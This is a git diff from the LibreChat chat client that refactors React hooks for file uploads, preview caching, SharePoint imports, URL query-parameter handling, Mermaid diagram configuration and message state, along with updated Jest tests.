+      mockConversation = {
+        conversationId: 'convo-1',
+        endpoint: 'assistants',
+        endpointType: 'assistants',
+      };
+
+      const useFileHandling = await loadHook();
+      const { result } = renderHook(() =>
+        useFileHandling({
+          endpointOverride: EModelEndpoint.agents,
+          additionalMetadata: { agent_id: 'agent-123' },
+        }),
+      );
+
+      const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+      await act(async () => {
+        await result.current.handleFiles([textFile]);
+      });
+
+      expect(mockMutate).toHaveBeenCalledTimes(1);
+      const formData: FormData = mockMutate.mock.calls[0][0];
+      expect(formData.get('endpoint')).toBe(EModelEndpoint.agents);
+      expect(formData.get('message_file')).toBeNull();
+      expect(formData.get('version')).toBeNull();
+      expect(formData.get('model')).toBeNull();
+      expect(formData.get('assistant_id')).toBeNull();
+    });
+
+    it('enters assistants path without override when conversation is assistants', async () => {
+      mockConversation = {
+        conversationId: 'convo-1',
+        endpoint: 'assistants',
+        endpointType: 'assistants',
+        assistant_id: 'asst-456',
+        model: 'gpt-4',
+      };
+
+      const useFileHandling = await loadHook();
+      const { result } = renderHook(() => useFileHandling());
+
+      const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+      await act(async () => {
+        await result.current.handleFiles([textFile]);
+      });
+
+      expect(mockMutate).toHaveBeenCalledTimes(1);
+      const formData: FormData = mockMutate.mock.calls[0][0];
+      expect(formData.get('endpoint')).toBe('assistants');
+      expect(formData.get('message_file')).toBe('true');
+    });
+
+    it('falls back to "default" when no conversation endpoint and no override', async () => {
+      mockConversation = {
+        conversationId: Constants.NEW_CONVO as string,
+        endpoint: null,
+        endpointType: undefined,
+      };
+
+      const useFileHandling = await loadHook();
+      const { result } = renderHook(() => useFileHandling());
+
+      const textFile = new File(['hello'], 'test.txt', { type: 'text/plain' });
+
+      await act(async () => {
+        await result.current.handleFiles([textFile]);
+      });
+
+      expect(mockMutate).toHaveBeenCalledTimes(1);
+      const formData: FormData = mockMutate.mock.calls[0][0];
+      expect(formData.get('endpoint')).toBe('default');
+    });
+  });
+});
diff --git a/client/src/hooks/Files/useDragHelpers.ts b/client/src/hooks/Files/useDragHelpers.ts
index f931da408c..7c6c3bd155 100644
--- a/client/src/hooks/Files/useDragHelpers.ts
+++ b/client/src/hooks/Files/useDragHelpers.ts
@@ -13,6 +13,7 @@ import {
   EModelEndpoint,
   mergeFileConfig,
   AgentCapabilities,
+  resolveEndpointType,
   isAssistantsEndpoint,
   getEndpointFileConfig,
   defaultAgentCapabilities,
@@ -69,7 +70,19 @@ export default function useDragHelpers() {
     (item: { files: File[] }) => {
       /** Early block: leverage endpoint file config to prevent drag/drop on disabled endpoints */
       const currentEndpoint = conversationRef.current?.endpoint ?? 'default';
-      const currentEndpointType = conversationRef.current?.endpointType ?? undefined;
+      const endpointsConfig = queryClient.getQueryData<t.TEndpointsConfig>([QueryKeys.endpoints]);
+
+      /** Get agent data from cache; if absent, provider-specific file config restrictions are bypassed client-side */
+      const agentId = conversationRef.current?.agent_id;
+      const agent = agentId
+        ? queryClient.getQueryData<t.Agent>([QueryKeys.agent, agentId])
+        : undefined;
+
+      const currentEndpointType = resolveEndpointType(
+        endpointsConfig,
+        currentEndpoint,
+        agent?.provider,
+      );
       const cfg = queryClient.getQueryData<t.FileConfig>([QueryKeys.fileConfig]);
       if (cfg) {
         const mergedCfg = mergeFileConfig(cfg);
@@ -92,27 +105,21 @@ export default function useDragHelpers() {
         return;
       }
 
-      const endpointsConfig = queryClient.getQueryData<t.TEndpointsConfig>([QueryKeys.endpoints]);
       const agentsConfig = endpointsConfig?.[EModelEndpoint.agents];
       const capabilities = agentsConfig?.capabilities ?? defaultAgentCapabilities;
       const fileSearchEnabled = capabilities.includes(AgentCapabilities.file_search) === true;
       const codeEnabled = capabilities.includes(AgentCapabilities.execute_code) === true;
       const contextEnabled = capabilities.includes(AgentCapabilities.context) === true;
 
-      /** Get agent permissions at drop time */
-      const agentId = conversationRef.current?.agent_id;
       let fileSearchAllowedByAgent = true;
       let codeAllowedByAgent = true;
 
       if (agentId && !isEphemeralAgent(agentId)) {
-        /** Agent data from cache */
-        const agent = queryClient.getQueryData<t.Agent>([QueryKeys.agent, agentId]);
         if (agent) {
           const agentTools = agent.tools as string[] | undefined;
           fileSearchAllowedByAgent = agentTools?.includes(Tools.file_search) ?? false;
           codeAllowedByAgent = agentTools?.includes(Tools.execute_code) ?? false;
         } else {
-          /** If agent exists but not found, disallow */
           fileSearchAllowedByAgent = false;
           codeAllowedByAgent = false;
         }
diff --git a/client/src/hooks/Files/useFileDeletion.ts b/client/src/hooks/Files/useFileDeletion.ts
index 34d89e313b..c33ac2a50b 100644
--- a/client/src/hooks/Files/useFileDeletion.ts
+++ b/client/src/hooks/Files/useFileDeletion.ts
@@ -5,6 +5,7 @@ import type * as t from 'librechat-data-provider';
 import type { UseMutateAsyncFunction } from '@tanstack/react-query';
 import type { ExtendedFile, GenericSetter } from '~/common';
 import useSetFilesToDelete from './useSetFilesToDelete';
+import { deletePreview } from '~/utils';
 
 type FileMapSetter = GenericSetter<Map<string, ExtendedFile>>;
 
@@ -88,6 +89,11 @@ const useFileDeletion = ({
         });
       }
 
+      deletePreview(file_id);
+      if (temp_file_id) {
+        deletePreview(temp_file_id);
+      }
+
       if (attached) {
         return;
       }
@@ -125,6 +131,11 @@ const useFileDeletion = ({
           temp_file_id,
           embedded: embedded ?? false,
         });
+
+        deletePreview(file_id);
+        if (temp_file_id) {
+          deletePreview(temp_file_id);
+        }
       }
 
       if (setFiles) {
diff --git a/client/src/hooks/Files/useFileHandling.ts b/client/src/hooks/Files/useFileHandling.ts
index 4c65b80765..635937a6fa 100644
--- a/client/src/hooks/Files/useFileHandling.ts
+++ b/client/src/hooks/Files/useFileHandling.ts
@@ -13,15 +13,16 @@ import {
   defaultAssistantsVersion,
 } from 'librechat-data-provider';
 import debounce from 'lodash/debounce';
-import type { TEndpointsConfig, TError } from 'librechat-data-provider';
+import type { EModelEndpoint, TEndpointsConfig, TError } from 'librechat-data-provider';
 import type { ExtendedFile, FileSetter } from '~/common';
+import type { TConversation } from 'librechat-data-provider';
+import { logger, validateFiles, cachePreview, getCachedPreview, removePreviewEntry } from '~/utils';
 import { useGetFileConfig, useUploadFileMutation } from '~/data-provider';
 import useLocalize, { TranslationKeys } from '~/hooks/useLocalize';
 import { useDelayedUploadToast } from './useDelayedUploadToast';
 import { processFileForUpload } from '~/utils/heicConverter';
 import { useChatContext } from '~/Providers/ChatContext';
 import { ephemeralAgentByConvoId } from '~/store';
-import { logger, validateFiles } from '~/utils';
 import useClientResize from './useClientResize';
 import useUpdateFiles from './useUpdateFiles';
 
@@ -29,16 +30,30 @@ type UseFileHandling = {
   fileSetter?: FileSetter;
   fileFilter?: (file: File) => boolean;
   additionalMetadata?: Record<string, string | undefined>;
+  /** Overrides `endpoint` for upload routing; also used as `endpointType` fallback when `endpointTypeOverride` is not set */
+  endpointOverride?: EModelEndpoint | string;
+  /** Overrides `endpointType` independently from `endpointOverride` */
+  endpointTypeOverride?: EModelEndpoint | string;
 };
 
-const useFileHandling = (params?: UseFileHandling) => {
+export type FileHandlingState = {
+  files: Map<string, ExtendedFile>;
+  setFiles: FileSetter;
+  setFilesLoading?: React.Dispatch<React.SetStateAction<boolean>>;
+  conversation?: TConversation | null;
+};
+
+const noop = () => {};
+
+const useFileHandlingCore = (params: UseFileHandling | undefined, fileState: FileHandlingState) => {
   const localize = useLocalize();
   const queryClient = useQueryClient();
   const { showToast } = useToastContext();
   const [errors, setErrors] = useState<string[]>([]);
   const abortControllerRef = useRef<AbortController | null>(null);
   const { startUploadTimer, clearUploadTimer } = useDelayedUploadToast();
-  const { files, setFiles, setFilesLoading, conversation } = useChatContext();
+  const { files, setFiles, conversation } = fileState;
+  const setFilesLoading = fileState.setFilesLoading ?? noop;
   const setEphemeralAgent = useSetRecoilState(
     ephemeralAgentByConvoId(conversation?.conversationId ?? Constants.NEW_CONVO),
   );
@@ -50,8 +65,16 @@ const useFileHandling = (params?: UseFileHandling) => {
 
   const agent_id = params?.additionalMetadata?.agent_id ?? '';
   const assistant_id = params?.additionalMetadata?.assistant_id ?? '';
-  const endpointType = useMemo(() => conversation?.endpointType, [conversation?.endpointType]);
-  const endpoint = useMemo(() => conversation?.endpoint ?? 'default', [conversation?.endpoint]);
+  const endpointOverride = params?.endpointOverride;
+  const endpointTypeOverride = params?.endpointTypeOverride;
+  const endpointType = useMemo(
+    () => endpointTypeOverride ?? endpointOverride ?? conversation?.endpointType,
+    [endpointTypeOverride, endpointOverride, conversation?.endpointType],
+  );
+  const endpoint = useMemo(
+    () => endpointOverride ?? conversation?.endpoint ?? 'default',
+    [endpointOverride, conversation?.endpoint],
+  );
 
   const { data: fileConfig = null } = useGetFileConfig({
     select: (data) => mergeFileConfig(data),
@@ -110,6 +133,11 @@ const useFileHandling = (params?: UseFileHandling) => {
         );
 
         setTimeout(() => {
+          const cachedBlob = getCachedPreview(data.temp_file_id);
+          if (cachedBlob && data.file_id !== data.temp_file_id) {
+            cachePreview(data.file_id, cachedBlob);
+            removePreviewEntry(data.temp_file_id);
+          }
           updateFileById(
             data.temp_file_id,
             {
@@ -240,7 +268,6 @@ const useFileHandling = (params?: UseFileHandling) => {
       replaceFile(extendedFile);
 
       await startUpload(extendedFile);
-      URL.revokeObjectURL(preview);
     };
     img.src = preview;
   };
@@ -281,6 +308,7 @@ const useFileHandling = (params?: UseFileHandling) => {
       try {
         // Create initial preview with original file
         const initialPreview = URL.createObjectURL(originalFile);
+        cachePreview(file_id, initialPreview);
 
         // Create initial ExtendedFile to show immediately
         const initialExtendedFile: ExtendedFile = {
@@ -358,6 +386,7 @@ const useFileHandling = (params?: UseFileHandling) => {
         if (finalProcessedFile !== originalFile) {
           URL.revokeObjectURL(initialPreview); // Clean up original preview
           const newPreview = URL.createObjectURL(finalProcessedFile);
+          cachePreview(file_id, newPreview);
 
           const updatedExtendedFile: ExtendedFile = {
             ...initialExtendedFile,
@@ -434,4 +463,20 @@ const useFileHandling = (params?: UseFileHandling) => {
   };
 };
 
+export const useFileHandlingNoChatContext = (
+  params: UseFileHandling | undefined,
+  fileState: FileHandlingState,
+) => useFileHandlingCore(params, fileState);
+
+const useFileHandling = (params?: UseFileHandling) => {
+  const { files, setFiles, setFilesLoading, conversation } = useChatContext();
+
+  return useFileHandlingCore(params, {
+    files,
+    setFiles,
+    conversation,
+    setFilesLoading,
+  });
+};
+
 export default useFileHandling;
diff --git a/client/src/hooks/Files/useSharePointFileHandling.ts b/client/src/hooks/Files/useSharePointFileHandling.ts
index 11fc0915b7..a04ef0104b 100644
--- a/client/src/hooks/Files/useSharePointFileHandling.ts
+++ b/client/src/hooks/Files/useSharePointFileHandling.ts
@@ -1,13 +1,17 @@
 import { useCallback } from 'react';
-import useFileHandling from './useFileHandling';
-import useSharePointDownload from './useSharePointDownload';
+import type { EModelEndpoint } from 'librechat-data-provider';
 import type { SharePointFile } from '~/data-provider/Files/sharepoint';
+import type { FileHandlingState } from './useFileHandling';
+import useFileHandling, { useFileHandlingNoChatContext } from './useFileHandling';
+import useSharePointDownload from './useSharePointDownload';
 
 interface UseSharePointFileHandlingProps {
   fileSetter?: any;
   toolResource?: string;
   fileFilter?: (file: File) => boolean;
   additionalMetadata?: Record<string, string | undefined>;
+  endpointOverride?: EModelEndpoint | string;
+  endpointTypeOverride?: EModelEndpoint | string;
 }
 
 interface UseSharePointFileHandlingReturn {
@@ -21,6 +25,43 @@ export default function useSharePointFileHandling(
   props?: UseSharePointFileHandlingProps,
 ): UseSharePointFileHandlingReturn {
   const { handleFiles } = useFileHandling(props);
+  const { downloadSharePointFiles, isDownloading, downloadProgress, error } = useSharePointDownload(
+    {
+      onFilesDownloaded: async (downloadedFiles: File[]) => {
+        const fileArray = Array.from(downloadedFiles);
+        await handleFiles(fileArray, props?.toolResource);
+      },
+      onError: (error) => {
+        console.error('SharePoint download failed:', error);
+      },
+    },
+  );
+
+  const handleSharePointFiles = useCallback(
+    async (sharePointFiles: SharePointFile[]) => {
+      try {
+        await downloadSharePointFiles(sharePointFiles);
+      } catch (error) {
+        console.error('SharePoint file handling error:', error);
+        throw error;
+      }
+    },
+    [downloadSharePointFiles],
+  );
+
+  return {
+    handleSharePointFiles,
+    isProcessing: isDownloading,
+    downloadProgress,
+    error,
+  };
+}
+
+export function useSharePointFileHandlingNoChatContext(
+  props: UseSharePointFileHandlingProps | undefined,
+  fileState: FileHandlingState,
+): UseSharePointFileHandlingReturn {
+  const { handleFiles } = useFileHandlingNoChatContext(props, fileState);
 
   const { downloadSharePointFiles, isDownloading, downloadProgress, error } = useSharePointDownload(
     {
diff --git a/client/src/hooks/Input/useQueryParams.spec.ts b/client/src/hooks/Input/useQueryParams.spec.ts
index 927df94941..f8b30b2eda 100644
--- a/client/src/hooks/Input/useQueryParams.spec.ts
+++ b/client/src/hooks/Input/useQueryParams.spec.ts
@@ -220,9 +220,14 @@ describe('useQueryParams', () => {
       handleSubmit: jest.fn((callback) => () => callback({ text: 'test message' })),
     });
 
-    // Mock startup config to allow processing
     (useQueryClient as jest.Mock).mockReturnValue({
-      getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }),
+      getQueryData: jest.fn().mockImplementation((key) => {
+        const k = Array.isArray(key) ? key[0] : key;
+        if (k === 'startupConfig') {
+          return { modelSpecs: { list: [] } };
+        }
+        return null;
+      }),
     });
 
     setUrlParams({ q: 'hello world' });
@@ -241,7 +246,11 @@ describe('useQueryParams', () => {
       'hello world',
       expect.objectContaining({ shouldValidate: true }),
     );
-    expect(window.history.replaceState).toHaveBeenCalled();
+    const mockSetSearchParams = (useSearchParams as jest.Mock).mock.results[0].value[1];
+    const [params, options] = mockSetSearchParams.mock.calls[0];
+    expect(params).toBeInstanceOf(URLSearchParams);
+    expect(params.toString()).toBe('');
+    expect(options).toEqual(expect.objectContaining({ replace: true }));
   });
 
   it('should auto-submit message when submit=true and no settings to apply', () => {
@@ -266,9 +275,14 @@ describe('useQueryParams', () => {
       submitMessage: mockSubmitMessage,
     });
 
-    // Mock startup config to allow processing
     (useQueryClient as jest.Mock).mockReturnValue({
-      getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }),
+      getQueryData: jest.fn().mockImplementation((key) => {
+        const k = Array.isArray(key) ? key[0] : key;
+        if (k === 'startupConfig') {
+          return { modelSpecs: { list: [] } };
+        }
+        return null;
+      }),
     });
 
     setUrlParams({ q: 'hello world', submit: 'true' });
@@ -304,13 +318,14 @@ describe('useQueryParams', () => {
       } as unknown as HTMLTextAreaElement,
     };
 
-    // Mock getQueryData to return array format for startupConfig
+    // Mock getQueryData to return array format for startupConfig and endpoints
     const mockGetQueryData = jest.fn().mockImplementation((key) => {
-      if (Array.isArray(key) && key[0] === 'startupConfig') {
+      const k = Array.isArray(key) ? key[0] : key;
+      if (k === 'startupConfig') {
         return { modelSpecs: { list: [] } };
       }
-      if (key === 'startupConfig') {
-        return { modelSpecs: { list: [] } };
+      if (k === 'endpoints') {
+        return {};
       }
       return null;
     });
@@ -396,14 +411,15 @@ describe('useQueryParams', () => {
       newConversation: mockNewConversation,
     });
 
-    // Mock startup config to allow processing
+    // Mock startup config and endpoints to allow processing
     (useQueryClient as jest.Mock).mockReturnValue({
       getQueryData: jest.fn().mockImplementation((key) => {
-        if (Array.isArray(key) && key[0] === 'startupConfig') {
+        const k = Array.isArray(key) ? key[0] : key;
+        if (k === 'startupConfig') {
           return { modelSpecs: { list: [] } };
         }
-        if (key === 'startupConfig') {
-          return { modelSpecs: { list: [] } };
+        if (k === 'endpoints') {
+          return {};
         }
         return null;
       }),
@@ -454,9 +470,14 @@ describe('useQueryParams', () => {
       submitMessage: mockSubmitMessage,
     });
 
-    // Mock startup config to allow processing
     (useQueryClient as jest.Mock).mockReturnValue({
-      getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }),
+      getQueryData: jest.fn().mockImplementation((key) => {
+        const k = Array.isArray(key) ? key[0] : key;
+        if (k === 'startupConfig') {
+          return { modelSpecs: { list: [] } };
+        }
+        return null;
+      }),
     });
 
     setUrlParams({ model: 'gpt-4' }); // No submit=true
@@ -500,9 +521,14 @@ describe('useQueryParams', () => {
       submitMessage: mockSubmitMessage,
     });
 
-    // Mock startup config to allow processing
     (useQueryClient as jest.Mock).mockReturnValue({
-      getQueryData: jest.fn().mockReturnValue({ modelSpecs: { list: [] } }),
+      getQueryData: jest.fn().mockImplementation((key) => {
+        const k = Array.isArray(key) ? key[0] : key;
+        if (k === 'startupConfig') {
+          return { modelSpecs: { list: [] } };
+        }
+        return null;
+      }),
     });
 
     setUrlParams({}); // Empty params
@@ -524,6 +550,10 @@ describe('useQueryParams', () => {
     expect(mockSetValue).not.toHaveBeenCalled();
     expect(mockHandleSubmit).not.toHaveBeenCalled();
     expect(mockSubmitMessage).not.toHaveBeenCalled();
-    expect(window.history.replaceState).toHaveBeenCalled();
+    const mockSetSearchParams = (useSearchParams as jest.Mock).mock.results[0].value[1];
+    const [params, options] = mockSetSearchParams.mock.calls[0];
+    expect(params).toBeInstanceOf(URLSearchParams);
+    expect(params.toString()).toBe('');
+    expect(options).toEqual(expect.objectContaining({ replace: true }));
   });
 });
diff --git a/client/src/hooks/Input/useQueryParams.ts b/client/src/hooks/Input/useQueryParams.ts
index 7c9ff58042..b29f408a3a 100644
--- a/client/src/hooks/Input/useQueryParams.ts
+++ b/client/src/hooks/Input/useQueryParams.ts
@@ -2,24 +2,17 @@ import { useEffect, useCallback, useRef } from 'react';
 import { useRecoilValue } from 'recoil';
 import { useSearchParams } from 'react-router-dom';
 import { QueryClient, useQueryClient } from '@tanstack/react-query';
-import {
-  QueryKeys,
-  EModelEndpoint,
-  isAgentsEndpoint,
-  tQueryParamsSchema,
-  isAssistantsEndpoint,
-  PermissionBits,
-} from 'librechat-data-provider';
+import { QueryKeys, EModelEndpoint, PermissionBits } from 'librechat-data-provider';
 import type {
   AgentListResponse,
   TEndpointsConfig,
   TStartupConfig,
   TPreset,
 } from 'librechat-data-provider';
-import type { ZodAny } from 'zod';
 import {
   clearModelForNonEphemeralAgent,
   removeUnavailableTools,
+  processValidSettings,
   getModelSpecIconURL,
   getConvoSwitchLogic,
   logger,
@@ -29,62 +22,6 @@ import { useChatContext, useChatFormContext } from '~/Providers';
 import { useGetAgentByIdQuery } from '~/data-provider';
 import store from '~/store';
 
-/**
- * Parses query parameter values, converting strings to their appropriate types.
- * Handles boolean strings, numbers, and preserves regular strings.
- */
-const parseQueryValue = (value: string) => {
-  if (value === 'true') {
-    return true;
-  }
-  if (value === 'false') {
-    return false;
-  }
-  if (!isNaN(Number(value))) {
-    return Number(value);
-  }
-  return value;
-};
-
-/**
- * Processes and validates URL query parameters using schema definitions.
- * Extracts valid settings based on tQueryParamsSchema and handles special endpoint cases
- * for assistants and agents.
- */
-const processValidSettings = (queryParams: Record<string, string>) => {
-  const validSettings = {} as TPreset;
-
-  Object.entries(queryParams).forEach(([key, value]) => {
-    try {
-      const schema = tQueryParamsSchema.shape[key] as ZodAny | undefined;
-      if (schema) {
-        const parsedValue = parseQueryValue(value);
-        const validValue = schema.parse(parsedValue);
-        validSettings[key] = validValue;
-      }
-    } catch (error) {
-      console.warn(`Invalid value for setting ${key}:`, error);
-    }
-  });
-
-  if (
-    validSettings.assistant_id != null &&
-    validSettings.assistant_id &&
-    !isAssistantsEndpoint(validSettings.endpoint)
-  ) {
-    validSettings.endpoint = EModelEndpoint.assistants;
-  }
-  if (
-    validSettings.agent_id != null &&
-    validSettings.agent_id &&
-    !isAgentsEndpoint(validSettings.endpoint)
-  ) {
-    validSettings.endpoint = EModelEndpoint.agents;
-  }
-
-  return validSettings;
-};
-
 const injectAgentIntoAgentsMap = (queryClient: QueryClient, agent: any) => {
   const editCacheKey = [QueryKeys.agents, { requiredPermission: PermissionBits.EDIT }];
   const editCache = queryClient.getQueryData<AgentListResponse>(editCacheKey);
@@ -244,13 +181,12 @@ export default function useQueryParams({
     ],
   );
 
-  /**
-   * Checks if all settings from URL parameters have been successfully applied to the conversation.
-   * Compares values from validSettings against the current conversation state, handling special properties.
-   * Returns true only when all relevant settings match the target values.
-   */
+  const conversationRef = useRef(conversation);
+  conversationRef.current = conversation;
+
   const areSettingsApplied = useCallback(() => {
-    if (!validSettingsRef.current || !conversation) {
+    const convo = conversationRef.current;
+    if (!validSettingsRef.current || !convo) {
       return false;
     }
 
@@ -259,13 +195,13 @@ export default function useQueryParams({
         continue;
       }
 
-      if (conversation[key] !== value) {
+      if (convo[key] !== value) {
         return false;
       }
     }
 
     return true;
-  }, [conversation]);
+  }, []);
 
   /**
    * Processes message submission exactly once, preventing duplicate submissions.
@@ -285,14 +221,12 @@ export default function useQueryParams({
     methods.handleSubmit((data) => {
       if (data.text?.trim()) {
         submitMessage(data);
-
-        const newUrl = window.location.pathname;
-        window.history.replaceState({}, '', newUrl);
-
-        console.log('Message submitted with conversation state:', conversation);
+        logger.log('conversation', 'Message submitted from query params');
       }
     })();
-  }, [methods, submitMessage, conversation]);
+
+    setSearchParams(new URLSearchParams(), { replace: true });
+  }, [methods, submitMessage, setSearchParams]);
 
   useEffect(() => {
     const processQueryParams = () => {
@@ -332,6 +266,7 @@ export default function useQueryParams({
       }
 
       const { decodedPrompt, validSettings, shouldAutoSubmit } = processQueryParams();
+      const hasSettings = Object.keys(validSettings).length > 0;
 
       if (!shouldAutoSubmit) {
         submissionHandledRef.current = true;
@@ -339,45 +274,36 @@ export default function useQueryParams({
 
       /** Mark processing as complete and clean up as needed */
       const success = () => {
-        const paramString = searchParams.toString();
-        const currentParams = new URLSearchParams(paramString);
-        currentParams.delete('prompt');
-        currentParams.delete('q');
-        currentParams.delete('submit');
-
-        setSearchParams(currentParams, { replace: true });
         processedRef.current = true;
-        console.log('Parameters processed successfully', paramString);
+        logger.log('conversation', 'Query parameters processed successfully');
         clearInterval(intervalId);
 
-        // Only clean URL if there's no pending submission
+        // Defer URL cleanup until after submission completes (processSubmission handles it)
         if (!pendingSubmitRef.current) {
-          const newUrl = window.location.pathname;
-          window.history.replaceState({}, '', newUrl);
+          setSearchParams(new URLSearchParams(), { replace: true });
         }
       };
 
-      // Store settings for later comparison
-      if (Object.keys(validSettings).length > 0) {
+      if (hasSettings) {
         validSettingsRef.current = validSettings;
       }
 
-      // Save the prompt text for later use if needed
       if (decodedPrompt) {
         promptTextRef.current = decodedPrompt;
       }
 
       // Handle auto-submission
       if (shouldAutoSubmit && decodedPrompt) {
-        if (Object.keys(validSettings).length > 0) {
+        if (hasSettings) {
           // Settings are changing, defer submission
           pendingSubmitRef.current = true;
 
           // Set a timeout to handle the case where settings might never fully apply
           settingsTimeoutRef.current = setTimeout(() => {
             if (!submissionHandledRef.current && pendingSubmitRef.current) {
-              console.warn(
-                'Settings application timeout reached, proceeding with submission anyway',
+              logger.log(
+                'conversation',
+                'Settings application timeout, proceeding with submission',
               );
               processSubmission();
             }
@@ -401,7 +327,7 @@ export default function useQueryParams({
         submissionHandledRef.current = true;
       }
 
-      if (Object.keys(validSettings).length > 0) {
+      if (hasSettings && !areSettingsApplied()) {
         newQueryConvo(validSettings);
       }
 
@@ -424,6 +350,7 @@ export default function useQueryParams({
     setSearchParams,
     queryClient,
     processSubmission,
+    areSettingsApplied,
   ]);
 
   useEffect(() => {
@@ -438,9 +365,7 @@ export default function useQueryParams({
       return;
     }
 
-    const allSettingsApplied = areSettingsApplied();
-
-    if (allSettingsApplied) {
+    if (areSettingsApplied()) {
       settingsAppliedRef.current = true;
 
       if (pendingSubmitRef.current) {
@@ -449,7 +374,7 @@ export default function useQueryParams({
           settingsTimeoutRef.current = null;
         }
 
-        console.log('Settings fully applied, processing submission');
+        logger.log('conversation', 'Settings fully applied, processing submission');
         processSubmission();
       }
     }
diff --git a/client/src/hooks/Input/useSelectMention.ts b/client/src/hooks/Input/useSelectMention.ts
index 731302ff0a..00ba5095bb 100644
--- a/client/src/hooks/Input/useSelectMention.ts
+++ b/client/src/hooks/Input/useSelectMention.ts
@@ -22,19 +22,19 @@ import store from '~/store';
 export default function useSelectMention({
   presets,
   modelSpecs,
-  conversation,
   assistantsMap,
   returnHandlers,
   endpointsConfig,
+  getConversation,
   newConversation,
 }: {
-  conversation: TConversation | null;
   presets?: TPreset[];
   modelSpecs: TModelSpec[];
+  returnHandlers?: boolean;
   assistantsMap?: TAssistantsMap;
   newConversation: ConvoGenerator;
   endpointsConfig: TEndpointsConfig;
-  returnHandlers?: boolean;
+  getConversation: () => TConversation | null;
 }) {
   const getDefaultConversation = useDefaultConvo();
   const modularChat = useRecoilValue(store.modularChat);
@@ -45,6 +45,8 @@ export default function useSelectMention({
       if (!spec) {
         return;
       }
+
+      const conversation = getConversation();
       const { preset } = spec;
       preset.iconURL = getModelSpecIconURL(spec);
       preset.spec = spec.name;
@@ -110,7 +112,7 @@ export default function useSelectMention({
       });
     },
     [
-      conversation,
+      getConversation,
       getDefaultConversation,
       modularChat,
       newConversation,
@@ -133,6 +135,8 @@ export default function useSelectMention({
         return;
       }
 
+      const conversation = getConversation();
+
       const {
         shouldSwitch,
         isNewModular,
@@ -202,7 +206,7 @@ export default function useSelectMention({
         keepAddedConvos: isNewModular,
       });
     },
-    [conversation, getDefaultConversation, modularChat, newConversation, endpointsConfig],
+    [getConversation, getDefaultConversation, modularChat, newConversation, endpointsConfig],
   );
 
   const onSelectPreset = useCallback(
@@ -211,6 +215,8 @@ export default function useSelectMention({
         return;
       }
 
+      const conversation = getConversation();
+
       const newPreset = removeUnavailableTools(_newPreset, availableTools);
       const newEndpoint = newPreset.endpoint ?? '';
 
@@ -266,7 +272,7 @@ export default function useSelectMention({
     },
     [
       modularChat,
-      conversation,
+      getConversation,
       availableTools,
       newConversation,
       endpointsConfig,
diff --git a/client/src/hooks/Input/useTextarea.ts b/client/src/hooks/Input/useTextarea.ts
index 4eae002430..15b415dabc 100644
--- a/client/src/hooks/Input/useTextarea.ts
+++ b/client/src/hooks/Input/useTextarea.ts
@@ -42,8 +42,8 @@ export default function useTextarea({
   const checkHealth = useInteractionHealthCheck();
   const enterToSend = useRecoilValue(store.enterToSend);
 
-  const { index, conversation, isSubmitting, filesLoading, latestMessage, setFilesLoading } =
-    useChatContext();
+  const { index, conversation, isSubmitting, filesLoading, setFilesLoading } = useChatContext();
+  const latestMessage = useRecoilValue(store.latestMessageFamily(index));
   const [activePrompt, setActivePrompt] = useRecoilState(store.activePromptByIndex(index));
 
   const { endpoint = '' } = conversation || {};
diff --git a/client/src/hooks/Mermaid/useMermaid.ts b/client/src/hooks/Mermaid/useMermaid.ts
index 26e195e401..31957dce36 100644
--- a/client/src/hooks/Mermaid/useMermaid.ts
+++ b/client/src/hooks/Mermaid/useMermaid.ts
@@ -1,9 +1,10 @@
 import { useContext, useMemo, useState } from 'react';
-import DOMPurify from 'dompurify';
 import useSWR from 'swr';
 import { Md5 } from 'ts-md5';
+import DOMPurify from 'dompurify';
 import { ThemeContext, isDark } from '@librechat/client';
 import type { MermaidConfig } from 'mermaid';
+import { inlineFlowchartConfig } from '~/utils/mermaid';
 
 // Constants
 const MD5_LENGTH_THRESHOLD = 10_000;
@@ -85,12 +86,12 @@ export const useMermaid = ({
     return {
       startOnLoad: false,
       theme: (customTheme as MermaidConfig['theme']) || defaultTheme,
-      // Spread custom config but override security settings after
       ...config,
-      // Security hardening - these MUST come last to prevent override
-      securityLevel: 'strict', // Highest security: disables click, sanitizes text
-      maxTextSize: config?.maxTextSize ?? 50000, // Limit text size to prevent DoS
-      maxEdges: config?.maxEdges ?? 500, // Limit edges to prevent DoS
+      flowchart: { ...inlineFlowchartConfig, ...config?.flowchart, htmlLabels: false },
+      // Security hardening: MUST come after ...config spread to prevent override
+      securityLevel: 'strict',
+      maxTextSize: config?.maxTextSize ?? 50000,
+      maxEdges: config?.maxEdges ?? 500,
     };
   }, [customTheme, isDarkMode, config]);
 
diff --git a/client/src/hooks/Messages/useMessageActions.tsx b/client/src/hooks/Messages/useMessageActions.tsx
index c168b16d6e..e8946b895b 100644
--- a/client/src/hooks/Messages/useMessageActions.tsx
+++ b/client/src/hooks/Messages/useMessageActions.tsx
@@ -31,8 +31,16 @@ export default function useMessageActions(props: TMessageActions) {
   const UsernameDisplay = useRecoilValue<boolean>(store.UsernameDisplay);
   const { message, currentEditId, setCurrentEditId, searchResults } = props;
 
-  const { ask, index, regenerate, isSubmitting, conversation, latestMessage, handleContinue } =
-    useChatContext();
+  const {
+    ask,
+    index,
+    regenerate,
+    isSubmitting,
+    conversation,
+    latestMessageId,
+    latestMessageDepth,
+    handleContinue,
+  } = useChatContext();
 
   const getAddedConvo = useGetAddedConvo();
 
@@ -154,10 +162,11 @@ export default function useMessageActions(props: TMessageActions) {
     enterEdit,
     conversation,
     messageLabel,
-    latestMessage,
     handleFeedback,
     handleContinue,
     copyToClipboard,
+    latestMessageId,
     regenerateMessage,
+    latestMessageDepth,
   };
 }
diff --git a/client/src/hooks/Messages/useMessageHelpers.tsx b/client/src/hooks/Messages/useMessageHelpers.tsx
index 0ecf5c684a..0453e4a49c 100644
--- a/client/src/hooks/Messages/useMessageHelpers.tsx
+++ b/client/src/hooks/Messages/useMessageHelpers.tsx
@@ -17,9 +17,9 @@ export default function useMessageHelpers(props: TMessageProps) {
     regenerate,
     isSubmitting,
     conversation,
-    latestMessage,
     setAbortScroll,
     handleContinue,
+    latestMessageId,
     setLatestMessage,
   } = useMessagesViewContext();
   const agentsMap = useAgentsMapContext();
@@ -141,8 +141,8 @@ export default function useMessageHelpers(props: TMessageProps) {
     conversation,
     isSubmitting,
     handleScroll,
-    latestMessage,
     handleContinue,
+    latestMessageId,
     copyToClipboard,
